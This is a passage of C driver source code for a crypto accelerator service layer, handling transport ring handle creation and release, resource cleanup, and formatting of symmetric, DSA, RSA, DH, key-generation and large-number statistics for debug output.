/* Function to release the asym handles. */
STATIC CpaStatus SalCtrl_AsymReleaseTransHandle(sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
CpaStatus ret_status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
if (NULL != pCryptoService->trans_handle_asym_tx)
{
status =
icp_adf_transReleaseHandle(pCryptoService->trans_handle_asym_tx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
if (NULL != pCryptoService->trans_handle_asym_rx)
{
status =
icp_adf_transReleaseHandle(pCryptoService->trans_handle_asym_rx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
return ret_status;
}
/* Function to reset the asym handles. */
STATIC CpaStatus SalCtrl_AsymResetTransHandle(sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
CpaStatus ret_status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
if (NULL != pCryptoService->trans_handle_asym_tx)
{
status = icp_adf_transResetHandle(pCryptoService->trans_handle_asym_tx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
if (NULL != pCryptoService->trans_handle_asym_rx)
{
status = icp_adf_transResetHandle(pCryptoService->trans_handle_asym_rx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
return ret_status;
}
#endif
/* Function to release the sym handles. */
STATIC CpaStatus SalCtrl_SymReleaseTransHandle(sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
CpaStatus ret_status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
if (NULL != pCryptoService->trans_handle_sym_tx)
{
status =
icp_adf_transReleaseHandle(pCryptoService->trans_handle_sym_tx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
if (NULL != pCryptoService->trans_handle_sym_rx)
{
status =
icp_adf_transReleaseHandle(pCryptoService->trans_handle_sym_rx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
return ret_status;
}
/* Function to reset the sym handles. */
STATIC CpaStatus SalCtrl_SymResetTransHandle(sal_service_t *service)
{
CpaStatus status = CPA_STATUS_SUCCESS;
CpaStatus ret_status = CPA_STATUS_SUCCESS;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
if (NULL != pCryptoService->trans_handle_sym_tx)
{
status = icp_adf_transResetHandle(pCryptoService->trans_handle_sym_tx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
if (NULL != pCryptoService->trans_handle_sym_rx)
{
status = icp_adf_transResetHandle(pCryptoService->trans_handle_sym_rx);
if (CPA_STATUS_SUCCESS != status)
{
ret_status = status;
}
}
return ret_status;
}
#ifndef ASYM_NOT_SUPPORTED
/*
* @ingroup sal_crypto
* Frees resources (memory and transhandles) if allocated
*
* @param[in] pCryptoService Pointer to asym service instance
* @retval SUCCESS if transhandles released
* successfully
*/
STATIC CpaStatus SalCtrl_AsymFreeResources(sal_crypto_service_t *pCryptoService)
{
CpaStatus status = CPA_STATUS_SUCCESS;
/* Free memory pools if not NULL */
Lac_MemPoolDestroy(pCryptoService->lac_pke_align_pool);
Lac_MemPoolDestroy(pCryptoService->lac_pke_req_pool);
Lac_MemPoolDestroy(pCryptoService->lac_ec_pool);
Lac_MemPoolDestroy(pCryptoService->lac_prime_pool);
#ifdef KPT
Lac_MemPoolDestroy(pCryptoService->lac_kpt_pool);
Lac_MemPoolDestroy(pCryptoService->lac_kpt_array_pool);
#endif
/* Free the statistics */
LacDh_StatsFree(pCryptoService);
LacDsa_StatsFree(pCryptoService);
LacRsa_StatsFree(pCryptoService);
LacEc_StatsFree(pCryptoService);
LacPrime_StatsFree(pCryptoService);
LacLn_StatsFree(pCryptoService);
/* Free transport handles */
status = SalCtrl_AsymReleaseTransHandle((sal_service_t *)pCryptoService);
return status;
}
/*
* @ingroup sal_crypto
* Resets resources (memory and transhandles)
*
* @param[in] pCryptoService Pointer to asym service instance
* @retval SUCCESS if transhandles released
* successfully
*/
STATIC CpaStatus
SalCtrl_AsymResetResources(sal_crypto_service_t *pCryptoService)
{
/* Reset the statistics */
LacDh_StatsReset(pCryptoService);
LacDsa_StatsReset(pCryptoService);
LacRsa_StatsReset(pCryptoService);
LacEc_StatsReset(pCryptoService);
LacPrime_StatsReset(pCryptoService);
LacLn_StatsReset(pCryptoService);
/* Reset transport handles */
return SalCtrl_AsymResetTransHandle((sal_service_t *)pCryptoService);
}
#endif
/*
* @ingroup sal_crypto
* Frees resources (memory and transhandles) if allocated
*
* @param[in] pCryptoService Pointer to sym service instance
* @retval SUCCESS if transhandles released
* successfully.
*/
STATIC CpaStatus SalCtrl_SymFreeResources(sal_crypto_service_t *pCryptoService)
{
CpaStatus status = CPA_STATUS_SUCCESS;
/* Free memory pools if not NULL */
Lac_MemPoolDestroy(pCryptoService->lac_sym_cookie_pool);
/* Free key stats */
LacSymKey_StatsFree(pCryptoService);
/* Free misc memory if allocated */
/* Frees memory allocated for Hmac precomputes */
LacSymHash_HmacPrecompShutdown(pCryptoService);
/* Free memory allocated for key labels
Also clears key stats */
LacSymKey_Shutdown(pCryptoService);
/* Free hash lookup table if allocated */
if (NULL != pCryptoService->pLacHashLookupDefs)
{
LAC_OS_FREE(pCryptoService->pLacHashLookupDefs);
}
/* Free statistics */
LacSym_StatsFree(pCryptoService);
/* Free transport handles */
status = SalCtrl_SymReleaseTransHandle((sal_service_t *)pCryptoService);
return status;
}
/*
* @ingroup sal_crypto
* Resets resources (memory and transhandles)
*
* @param[in] pCryptoService Pointer to sym service instance
* @retval SUCCESS if transhandles released
* successfully.
*/
STATIC CpaStatus SalCtrl_SymResetResources(sal_crypto_service_t *pCryptoService)
{
LacSymKey_StatsReset(pCryptoService);
/* Reset transport handles */
return SalCtrl_SymResetTransHandle((sal_service_t *)pCryptoService);
}
#ifndef ASYM_NOT_SUPPORTED
/**
***********************************************************************
* @ingroup SalCtrl
* This macro verifies that the status is _SUCCESS
* If status is not _SUCCESS then Asym Instance resources are
* freed before the function returns the error
*
* @param[in] status status we are checking
*
* @return void status is ok (CPA_STATUS_SUCCESS)
* @return status The value in the status parameter is an error one
*
****************************************************************************/
#define LAC_CHECK_STATUS_ASYM_INIT(status) \
do \
{ \
if (CPA_STATUS_SUCCESS != status) \
{ \
SalCtrl_AsymFreeResources(pCryptoService); \
return status; \
} \
} while (0)
#endif
/**
***********************************************************************
* @ingroup SalCtrl
* This macro verifies that the status is _SUCCESS
* If status is not _SUCCESS then Sym Instance resources are
* freed before the function returns the error
*
* @param[in] status status we are checking
*
* @return void status is ok (CPA_STATUS_SUCCESS)
* @return status The value in the status parameter is an error one
*
****************************************************************************/
#define LAC_CHECK_STATUS_SYM_INIT(status) \
do \
{ \
if (CPA_STATUS_SUCCESS != status) \
{ \
SalCtrl_SymFreeResources(pCryptoService); \
return status; \
} \
} while (0)
#ifndef ASYM_NOT_SUPPORTED
/* Function that creates the Asym Handles. */
STATIC CpaStatus SalCtrl_AsymCreateTransHandle(icp_accel_dev_t *device,
sal_service_t *service,
Cpa32U numAsymRequests,
char *section)
{
CpaStatus status = CPA_STATUS_SUCCESS;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
icp_resp_deliv_method rx_resp_type = ICP_RESP_TYPE_IRQ;
Cpa32U msgSize = 0;
if (SAL_RESP_POLL_CFG_FILE == pCryptoService->isPolled)
{
rx_resp_type = ICP_RESP_TYPE_POLL;
}
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Parse Asym ring details first */
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingAsymTx",
temp_string);
/* Need to free resources in case not _SUCCESS from here */
LAC_CHECK_STATUS_ASYM_INIT(status);
msgSize = LAC_QAT_ASYM_REQ_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transCreateHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumAsym,
temp_string,
lac_getRingType(SAL_RING_TYPE_A_ASYM),
NULL,
ICP_RESP_TYPE_NONE,
numAsymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_asym_tx));
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingAsymRx",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
msgSize = LAC_QAT_ASYM_RESP_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transCreateHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumAsym,
temp_string,
lac_getRingType(SAL_RING_TYPE_NONE),
LacPke_MsgCallback,
rx_resp_type,
numAsymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_asym_rx));
LAC_CHECK_STATUS_ASYM_INIT(status);
return status;
}
/* Function that reinitializes the Asym Handles after restart. */
STATIC CpaStatus SalCtrl_AsymReinitTransHandle(icp_accel_dev_t *device,
sal_service_t *service,
Cpa32U numAsymRequests,
char *section)
{
CpaStatus status = CPA_STATUS_SUCCESS;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
icp_resp_deliv_method rx_resp_type = ICP_RESP_TYPE_IRQ;
Cpa32U msgSize = 0;
if (SAL_RESP_POLL_CFG_FILE == pCryptoService->isPolled)
{
rx_resp_type = ICP_RESP_TYPE_POLL;
}
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Parse Asym ring details first */
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingAsymTx",
temp_string);
/* Need to free resources in case not _SUCCESS from here */
LAC_CHECK_STATUS_ASYM_INIT(status);
msgSize = LAC_QAT_ASYM_REQ_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transReinitHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumAsym,
temp_string,
lac_getRingType(SAL_RING_TYPE_A_ASYM),
NULL,
ICP_RESP_TYPE_NONE,
numAsymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_asym_tx));
LAC_CHECK_STATUS_ASYM_INIT(status);
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingAsymRx",
temp_string);
LAC_CHECK_STATUS_ASYM_INIT(status);
msgSize = LAC_QAT_ASYM_RESP_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transReinitHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumAsym,
temp_string,
lac_getRingType(SAL_RING_TYPE_NONE),
LacPke_MsgCallback,
rx_resp_type,
numAsymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_asym_rx));
LAC_CHECK_STATUS_ASYM_INIT(status);
return status;
}
#endif
/* Function that creates the Sym Handles. */
STATIC CpaStatus SalCtrl_SymCreateTransHandle(icp_accel_dev_t *device,
sal_service_t *service,
Cpa32U numSymRequests,
char *section)
{
CpaStatus status = CPA_STATUS_SUCCESS;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
icp_resp_deliv_method rx_resp_type = ICP_RESP_TYPE_IRQ;
Cpa32U msgSize = 0;
if (SAL_RESP_POLL_CFG_FILE == pCryptoService->isPolled)
{
rx_resp_type = ICP_RESP_TYPE_POLL;
}
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Parse Sym ring details */
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingSymTx",
temp_string);
/* Need to free resources in case not _SUCCESS from here */
LAC_CHECK_STATUS_SYM_INIT(status);
msgSize = LAC_QAT_SYM_REQ_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transCreateHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumSym,
temp_string,
lac_getRingType(SAL_RING_TYPE_A_SYM_HI),
NULL,
ICP_RESP_TYPE_NONE,
numSymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_sym_tx));
LAC_CHECK_STATUS_SYM_INIT(status);
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingSymRx",
temp_string);
LAC_CHECK_STATUS_SYM_INIT(status);
msgSize = LAC_QAT_SYM_RESP_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transCreateHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumSym,
temp_string,
lac_getRingType(SAL_RING_TYPE_NONE),
(icp_trans_callback)LacSymQat_SymRespHandler,
rx_resp_type,
numSymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_sym_rx));
LAC_CHECK_STATUS_SYM_INIT(status);
return status;
}
/* Function that reinitializes the Sym Handles after restart. */
STATIC CpaStatus SalCtrl_SymReinitTransHandle(icp_accel_dev_t *device,
sal_service_t *service,
Cpa32U numSymRequests,
char *section)
{
CpaStatus status = CPA_STATUS_SUCCESS;
char temp_string[SAL_CFG_MAX_VAL_LEN_IN_BYTES] = {0};
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)service;
icp_resp_deliv_method rx_resp_type = ICP_RESP_TYPE_IRQ;
Cpa32U msgSize = 0;
if (SAL_RESP_POLL_CFG_FILE == pCryptoService->isPolled)
{
rx_resp_type = ICP_RESP_TYPE_POLL;
}
if (CPA_FALSE == pCryptoService->generic_service_info.is_dyn)
{
section = icpGetProcessName();
}
/* Parse Sym ring details */
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingSymTx",
temp_string);
/* Need to free resources in case not _SUCCESS from here */
LAC_CHECK_STATUS_SYM_INIT(status);
msgSize = LAC_QAT_SYM_REQ_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transReinitHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumSym,
temp_string,
lac_getRingType(SAL_RING_TYPE_A_SYM_HI),
NULL,
ICP_RESP_TYPE_NONE,
numSymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_sym_tx));
LAC_CHECK_STATUS_SYM_INIT(status);
status = Sal_StringParsing("Cy",
pCryptoService->generic_service_info.instance,
"RingSymRx",
temp_string);
LAC_CHECK_STATUS_SYM_INIT(status);
msgSize = LAC_QAT_SYM_RESP_SZ_LW * LAC_LONG_WORD_IN_BYTES;
status = icp_adf_transReinitHandle(
device,
ICP_TRANS_TYPE_ETR,
section,
pCryptoService->acceleratorNum,
pCryptoService->bankNumSym,
temp_string,
lac_getRingType(SAL_RING_TYPE_NONE),
(icp_trans_callback)LacSymQat_SymRespHandler,
rx_resp_type,
numSymRequests,
msgSize,
(icp_comms_trans_handle *)&(pCryptoService->trans_handle_sym_rx));
LAC_CHECK_STATUS_SYM_INIT(status);
return status;
}
STATIC int SalCtrl_CryptoDebug(void *private_data,
char *data,
int size,
int offset)
{
CpaStatus status = CPA_STATUS_SUCCESS;
Cpa32U len = 0;
sal_crypto_service_t *pCryptoService = (sal_crypto_service_t *)private_data;
switch (offset)
{
case SAL_STATS_SYM:
{
CpaCySymStats64 symStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bSymStatsEnabled)
{
break;
}
status = cpaCySymQueryStats64(pCryptoService, &symStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCySymQueryStats64 returned error\n");
return 0;
}
/* Engine Info */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" Statistics for Instance %24s |\n" BORDER
" Symmetric Stats " BORDER
"\n" SEPARATOR,
pCryptoService->debug_file->name);
/* Session Info */
len += snprintf(
data + len,
size - len,
BORDER
" Sessions Initialized: %16llu " BORDER "\n" BORDER
" Sessions Removed: %16llu " BORDER "\n" BORDER
" Session Errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)symStats.numSessionsInitialized,
(long long unsigned int)symStats.numSessionsRemoved,
(long long unsigned int)symStats.numSessionErrors);
/* Session info */
len += snprintf(
data + len,
size - len,
BORDER
" Symmetric Requests: %16llu " BORDER "\n" BORDER
" Symmetric Request Errors: %16llu " BORDER "\n" BORDER
" Symmetric Completed: %16llu " BORDER "\n" BORDER
" Symmetric Completed Errors: %16llu " BORDER "\n" BORDER
" Symmetric Verify Failures: %16llu " BORDER "\n",
(long long unsigned int)symStats.numSymOpRequests,
(long long unsigned int)symStats.numSymOpRequestErrors,
(long long unsigned int)symStats.numSymOpCompleted,
(long long unsigned int)symStats.numSymOpCompletedErrors,
(long long unsigned int)symStats.numSymOpVerifyFailures);
break;
}
case SAL_STATS_DSA:
{
CpaCyDsaStats64 dsaStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bDsaStatsEnabled)
{
++offset;
break;
}
status = cpaCyDsaQueryStats64(pCryptoService, &dsaStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyDsaQueryStats4 returned error\n");
return 0;
}
/* engine info */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" DSA Stats " BORDER
"\n" SEPARATOR);
/* p parameter generation requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA P Param Gen Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA P Param Gen Requests-Err: %16llu " BORDER "\n" BORDER
" DSA P Param Gen Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA P Param Gen Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaPParamGenRequests,
(long long unsigned int)dsaStats.numDsaPParamGenRequestErrors,
(long long unsigned int)dsaStats.numDsaPParamGenCompleted,
(long long unsigned int)
dsaStats.numDsaPParamGenCompletedErrors);
/* g parameter generation requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA G Param Gen Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA G Param Gen Requests-Err: %16llu " BORDER "\n" BORDER
" DSA G Param Gen Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA G Param Gen Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaGParamGenRequests,
(long long unsigned int)dsaStats.numDsaGParamGenRequestErrors,
(long long unsigned int)dsaStats.numDsaGParamGenCompleted,
(long long unsigned int)
dsaStats.numDsaGParamGenCompletedErrors);
/* y parameter generation requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA Y Param Gen Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA Y Param Gen Requests-Err: %16llu " BORDER "\n" BORDER
" DSA Y Param Gen Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA Y Param Gen Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaYParamGenRequests,
(long long unsigned int)dsaStats.numDsaYParamGenRequestErrors,
(long long unsigned int)dsaStats.numDsaYParamGenCompleted,
(long long unsigned int)
dsaStats.numDsaYParamGenCompletedErrors);
break;
}
case SAL_STATS_DSA2:
{
CpaCyDsaStats64 dsaStats = {0};
status = cpaCyDsaQueryStats64(pCryptoService, &dsaStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyDsaQueryStats4 returned error\n");
return 0;
}
/* r sign requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA R Sign Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA R Sign Request-Err: %16llu " BORDER "\n" BORDER
" DSA R Sign Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA R Sign Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaRSignRequests,
(long long unsigned int)dsaStats.numDsaRSignRequestErrors,
(long long unsigned int)dsaStats.numDsaRSignCompleted,
(long long unsigned int)dsaStats.numDsaRSignCompletedErrors);
/* s sign requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA S Sign Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA S Sign Request-Err: %16llu " BORDER "\n" BORDER
" DSA S Sign Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA S Sign Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaSSignRequests,
(long long unsigned int)dsaStats.numDsaSSignRequestErrors,
(long long unsigned int)dsaStats.numDsaSSignCompleted,
(long long unsigned int)dsaStats.numDsaSSignCompletedErrors);
/* rs sign requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA RS Sign Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA RS Sign Request-Err: %16llu " BORDER "\n" BORDER
" DSA RS Sign Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA RS Sign Completed-Err: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dsaStats.numDsaRSSignRequests,
(long long unsigned int)dsaStats.numDsaRSSignRequestErrors,
(long long unsigned int)dsaStats.numDsaRSSignCompleted,
(long long unsigned int)dsaStats.numDsaRSSignCompletedErrors);
/* verify requests */
len += snprintf(
data + len,
size - len,
BORDER
" DSA Verify Requests-Succ: %16llu " BORDER "\n" BORDER
" DSA Verify Request-Err: %16llu " BORDER "\n" BORDER
" DSA Verify Completed-Succ: %16llu " BORDER "\n" BORDER
" DSA Verify Completed-Err: %16llu " BORDER "\n" BORDER
" DSA Verify Completed-Failure: %16llu " BORDER "\n",
(long long unsigned int)dsaStats.numDsaVerifyRequests,
(long long unsigned int)dsaStats.numDsaVerifyRequestErrors,
(long long unsigned int)dsaStats.numDsaVerifyCompleted,
(long long unsigned int)dsaStats.numDsaVerifyCompletedErrors,
(long long unsigned int)dsaStats.numDsaVerifyFailures);
break;
}
case SAL_STATS_RSA:
{
CpaCyRsaStats64 rsaStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bRsaStatsEnabled)
{
break;
}
status = cpaCyRsaQueryStats64(pCryptoService, &rsaStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyRsaQueryStats64 returned error\n");
return 0;
}
/* Engine Info */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" RSA Stats " BORDER
"\n" SEPARATOR);
/* rsa keygen Info */
len += snprintf(
data + len,
size - len,
BORDER
" RSA Key Gen Requests: %16llu " BORDER "\n" BORDER
" RSA Key Gen Request Errors %16llu " BORDER "\n" BORDER
" RSA Key Gen Completed: %16llu " BORDER "\n" BORDER
" RSA Key Gen Completed Errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)rsaStats.numRsaKeyGenRequests,
(long long unsigned int)rsaStats.numRsaKeyGenRequestErrors,
(long long unsigned int)rsaStats.numRsaKeyGenCompleted,
(long long unsigned int)rsaStats.numRsaKeyGenCompletedErrors);
/* rsa enc Info */
len += snprintf(
data + len,
size - len,
BORDER
" RSA Encrypt Requests: %16llu " BORDER "\n" BORDER
" RSA Encrypt Request Errors: %16llu " BORDER "\n" BORDER
" RSA Encrypt Completed: %16llu " BORDER "\n" BORDER
" RSA Encrypt Completed Errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)rsaStats.numRsaEncryptRequests,
(long long unsigned int)rsaStats.numRsaEncryptRequestErrors,
(long long unsigned int)rsaStats.numRsaEncryptCompleted,
(long long unsigned int)rsaStats.numRsaEncryptCompletedErrors);
/* rsa dec Info */
len += snprintf(
data + len,
size - len,
BORDER
" RSA Decrypt Requests: %16llu " BORDER "\n" BORDER
" RSA Decrypt Request Errors: %16llu " BORDER "\n" BORDER
" RSA Decrypt Completed: %16llu " BORDER "\n" BORDER
" RSA Decrypt Completed Errors: %16llu " BORDER "\n",
(long long unsigned int)rsaStats.numRsaDecryptRequests,
(long long unsigned int)rsaStats.numRsaDecryptRequestErrors,
(long long unsigned int)rsaStats.numRsaDecryptCompleted,
(long long unsigned int)rsaStats.numRsaDecryptCompletedErrors);
break;
}
case SAL_STATS_DH:
{
CpaCyDhStats64 dhStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bDhStatsEnabled)
{
break;
}
status = cpaCyDhQueryStats64(pCryptoService, &dhStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyDhQueryStats returned error\n");
return 0;
}
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" Diffie Hellman Stats " BORDER
"\n" SEPARATOR);
/* perform Info */
len += snprintf(
data + len,
size - len,
BORDER
" DH Phase1 Key Gen Requests: %16llu " BORDER "\n" BORDER
" DH Phase1 Key Gen Request Err: %16llu " BORDER "\n" BORDER
" DH Phase1 Key Gen Completed: %16llu " BORDER "\n" BORDER
" DH Phase1 Key Gen Completed Err:%16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)dhStats.numDhPhase1KeyGenRequests,
(long long unsigned int)dhStats.numDhPhase1KeyGenRequestErrors,
(long long unsigned int)dhStats.numDhPhase1KeyGenCompleted,
(long long unsigned int)
dhStats.numDhPhase1KeyGenCompletedErrors);
len += snprintf(
data + len,
size - len,
BORDER
" DH Phase2 Key Gen Requests: %16llu " BORDER "\n" BORDER
" DH Phase2 Key Gen Request Err: %16llu " BORDER "\n" BORDER
" DH Phase2 Key Gen Completed: %16llu " BORDER "\n" BORDER
" DH Phase2 Key Gen Completed Err:%16llu " BORDER "\n",
(long long unsigned int)dhStats.numDhPhase2KeyGenRequests,
(long long unsigned int)dhStats.numDhPhase2KeyGenRequestErrors,
(long long unsigned int)dhStats.numDhPhase2KeyGenCompleted,
(long long unsigned int)
dhStats.numDhPhase2KeyGenCompletedErrors);
break;
}
case SAL_STATS_KEYGEN:
{
CpaCyKeyGenStats64 keyStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bKeyGenStatsEnabled)
{
break;
}
status = cpaCyKeyGenQueryStats64(pCryptoService, &keyStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyKeyGenQueryStats64 returned error\n");
return 0;
}
/* Key Gen stats */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" Key Stats " BORDER
"\n" SEPARATOR);
len += snprintf(
data + len,
size - len,
BORDER
" SSL Key Requests: %16llu " BORDER "\n" BORDER
" SSL Key Request Errors: %16llu " BORDER "\n" BORDER
" SSL Key Completed %16llu " BORDER "\n" BORDER
" SSL Key Complete Errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)keyStats.numSslKeyGenRequests,
(long long unsigned int)keyStats.numSslKeyGenRequestErrors,
(long long unsigned int)keyStats.numSslKeyGenCompleted,
(long long unsigned int)keyStats.numSslKeyGenCompletedErrors);
len += snprintf(
data + len,
size - len,
BORDER
" TLS Key Requests: %16llu " BORDER "\n" BORDER
" TLS Key Request Errors: %16llu " BORDER "\n" BORDER
" TLS Key Completed %16llu " BORDER "\n" BORDER
" TLS Key Complete Errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)keyStats.numTlsKeyGenRequests,
(long long unsigned int)keyStats.numTlsKeyGenRequestErrors,
(long long unsigned int)keyStats.numTlsKeyGenCompleted,
(long long unsigned int)keyStats.numTlsKeyGenCompletedErrors);
len += snprintf(
data + len,
size - len,
BORDER
" MGF Key Requests: %16llu " BORDER "\n" BORDER
" MGF Key Request Errors: %16llu " BORDER "\n" BORDER
" MGF Key Completed %16llu " BORDER "\n" BORDER
" MGF Key Complete Errors: %16llu " BORDER "\n",
(long long unsigned int)keyStats.numMgfKeyGenRequests,
(long long unsigned int)keyStats.numMgfKeyGenRequestErrors,
(long long unsigned int)keyStats.numMgfKeyGenCompleted,
(long long unsigned int)keyStats.numMgfKeyGenCompletedErrors);
break;
}
case SAL_STATS_LN:
{
CpaCyLnStats64 lnStats = {0};
if (CPA_TRUE !=
pCryptoService->generic_service_info.stats->bLnStatsEnabled)
{
break;
}
status = cpaCyLnStatsQuery64(pCryptoService, &lnStats);
if (status != CPA_STATUS_SUCCESS)
{
LAC_LOG_ERROR("cpaCyLnStatsQuery64 returned error\n");
return 0;
}
/* Engine Info */
len += snprintf(
data + len,
size - len,
SEPARATOR BORDER
" LN ModExp/ModInv Stats " BORDER
"\n" SEPARATOR);
/* Large Number Modular Exponentationstats operations stats */
len += snprintf(
data + len,
size - len,
BORDER
" LN ModEXP successful requests: %16llu " BORDER "\n" BORDER
" LN ModEXP requests with error: %16llu " BORDER "\n" BORDER
" LN ModEXP completed operations: %16llu " BORDER "\n" BORDER
" LN ModEXP not completed-errors: %16llu " BORDER
"\n" SEPARATOR,
(long long unsigned int)lnStats.numLnModExpRequests,
(long long unsigned int)lnStats.numLnModExpRequestErrors,
(long long unsigned int)lnStats.numLnModExpCompleted,
(long long unsigned int)lnStats.numLnModExpCompletedErrors);
/* Large Number Modular Inversion operations stats */
len += snprintf(
data + len,
size - len,
BORDER
" LN ModINV successful requests: %16llu " BORDER "\n" BORDER
" LN ModINV requests with error: %16llu " BORDER "\n" BORDER
" LN ModINV completed operations: %16llu " BORDER "\n" BORDER
" LN ModINV not completed-errors: %16llu " BORDER "\n",
(long long unsigned int)lnStats.numLnModInvRequests,
(long long unsigned int)lnStats.numLnModInvRequestErrors,
